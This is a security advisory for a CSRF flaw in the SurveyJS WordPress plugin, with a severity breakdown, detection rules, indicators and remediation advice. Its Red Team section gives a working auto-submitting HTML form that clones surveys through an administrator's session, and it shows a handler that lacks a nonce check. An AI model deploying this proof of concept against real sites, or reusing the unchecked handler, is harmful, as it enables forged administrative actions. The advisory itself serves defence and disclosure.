CVE-2025-13205

Executive Summary

CVE-2025-13205 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the SurveyJS: Drag & Drop WordPress Form Builder plugin for WordPress, up to and including version 2.5.2. The vulnerability exists in the SurveyJS_CloneSurvey AJAX action due to missing or incorrect nonce validation. This allows an unauthenticated attacker to trick a site administrator into performing an action (e.g., clicking a link) that duplicates existing surveys without the administrator's consent. The CVSS score is 4.3 (Medium), with a low impact on integrity and no impact on confidentiality or availability. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking the plugin's checksum against the official repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack is performed over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim (administrator) must perform an action, such as clicking a link.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: Low (I:L) – The attacker can duplicate surveys, potentially leading to data duplication or confusion.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The attack requires social engineering to trick an administrator, but the impact is limited to survey duplication.

Deep Dive & Mechanics

The vulnerability resides in the SurveyJS_CloneSurvey AJAX action handler. In WordPress, AJAX actions that modify data should include a nonce (a one-time token) to verify that the request originated from the intended user. The plugin fails to validate this nonce, allowing any request (even from an external site) to trigger the survey duplication functionality.

Attack Flow:

1. The attacker crafts a malicious link or form that sends a POST request to the WordPress admin AJAX endpoint (/wp-admin/admin-ajax.php) with the action SurveyJS_CloneSurvey and the ID of the survey to duplicate.
2. The attacker tricks an authenticated administrator into clicking the link or submitting the form (e.g., via email, social media, or a compromised site).
3. The administrator's browser sends the request, including their valid session cookies.
4. The plugin processes the request without checking the nonce, duplicating the specified survey.

Impact: The attacker can create multiple copies of surveys, potentially leading to data redundancy, confusion, or resource exhaustion. However, they cannot modify or delete surveys directly.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.5.2):

add_action('wp_ajax_SurveyJS_CloneSurvey', 'surveyjs_clone_survey');
function surveyjs_clone_survey() {
    // No nonce check
    $survey_id = intval($_POST['survey_id']);
    // Clone logic...
}

Patched Code (hypothetical):

add_action('wp_ajax_SurveyJS_CloneSurvey', 'surveyjs_clone_survey');
function surveyjs_clone_survey() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'surveyjs_clone_nonce')) {
        wp_die('Security check failed.');
    }
    $survey_id = intval($_POST['survey_id']);
    // Clone logic...
}

The patch adds a nonce check using wp_verify_nonce() before processing the request.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the SurveyJS plugin (version <= 2.5.2) installed and activated.
• An authenticated administrator session.

Exploit Steps:

1. Identify the target site's admin AJAX URL: https://target.com/wp-admin/admin-ajax.php.
2. Determine a valid survey ID to clone (e.g., by viewing the survey list).
3. Craft a malicious HTML page that auto-submits a form to the AJAX endpoint:

<html>
<body>
<form action="https://target.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="SurveyJS_CloneSurvey">
    <input type="hidden" name="survey_id" value="1">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

4. Host the page and send the link to the administrator (e.g., via email).
5. When the administrator visits the page, the form auto-submits, duplicating survey ID 1.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Prevention)

Detection:

• Monitor AJAX requests to /wp-admin/admin-ajax.php with action=SurveyJS_CloneSurvey.
• Look for requests originating from external referrers or without a valid nonce parameter.
• Alert on multiple survey duplication events in a short time.

Prevention:

• Apply the vendor patch when available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a nonce parameter.
• Educate administrators about phishing attacks that trick them into clicking malicious links.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=SurveyJS_CloneSurvey and survey_id parameter.
  • Referrer header pointing to an external domain (e.g., attacker-controlled site).
• File System:
  • Unexpected duplicate survey entries in the WordPress database (wp_posts table with post_type = 'survey').
• Logs:
  • WordPress debug log entries showing AJAX requests without nonce.

Detection Engineering

YARA Rule

rule Detect_SurveyJS_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploitation attempts against SurveyJS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13205"
    strings:
        $ajax_action = "SurveyJS_CloneSurvey"
        $admin_ajax = "admin-ajax.php"
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: SurveyJS CSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects CSRF attempts against SurveyJS plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13205
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=SurveyJS_CloneSurvey'
    condition: selection
falsepositives:
    - Legitimate survey cloning by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13205 SurveyJS CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=SurveyJS_CloneSurvey"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a WAF rule to block requests to admin-ajax.php that do not include a valid nonce parameter.
3. Educate administrators about the risks of clicking unknown links.

Long-Term Fix:

• The vendor must add nonce validation to the SurveyJS_CloneSurvey AJAX action. The fix should use wp_verify_nonce() with a unique action name.
• Regularly update the plugin to the latest version.

Workaround:

• Use a security plugin (e.g., Wordfence) that adds CSRF protection to AJAX actions.

Valters IT
Securing Digital Frontiers